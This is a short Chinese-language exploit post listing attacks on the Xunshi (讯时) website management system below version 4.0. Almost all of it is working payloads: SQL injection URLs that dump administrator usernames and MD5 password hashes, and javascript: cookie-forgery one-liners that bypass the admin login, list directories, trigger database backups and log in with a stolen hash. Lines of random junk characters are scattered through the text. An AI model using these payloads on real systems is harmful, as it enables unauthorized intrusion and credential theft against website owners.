讯时网站管理系统4.0以下漏洞

admin

一、注入
1、news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
" z8 A. }% k+ {  Z
, o- u1 d; |' w$ x! K2 w; v2、第一步：javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1");location.href="admin_chk.asp"
第二步：请求:admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
( G0 P( V( E  Y! [$ Y  u2 T5 O可得到用户名和MD5加密码的密码。

6 L, G) t- Y7 p8 ]; D2 I8 Z1 x二、cookies欺骗

, F8 u" G3 `% f+ S8 d9 ]8 s1、直接进后台，适用于较低版本，一般login.asp和admin_index.asp在同一目录下的版本有此漏洞.
1 E+ L" H% u. _% @1 c8 X3 Yjavascript:alert(document.cookie="adminuser="+escape("'or'='or'"));alert(document.cookie="adminpass="+escape("'or'='or'"));alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
$ U6 I  m4 }. @7 l8 R8 a2 Q0 b
0 Q8 t4 X$ R) v! m, a. k# @2、列目录.
1 n2 m* d' E7 c: [: t+ G# Pjavascript:alert(document.cookie="admindj="+escape("1"));location.href="edit/admin_uploadfile.asp?dir=.."

3、数据库备份(适用性好像比较低.)
javascript:alert(document.cookie="admindj="+escape("1"));location.href="admin_db_backup.asp?action=backupdata"

4、得到MD5密码解不了密进后台方法
' q% I9 q$ q4 _$ M! \5 g* Qjavascript:alert(document.cookie="adminuser="+escape("用户名")); alert(document.cookie="adminpass="+escape("md5密码")); alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"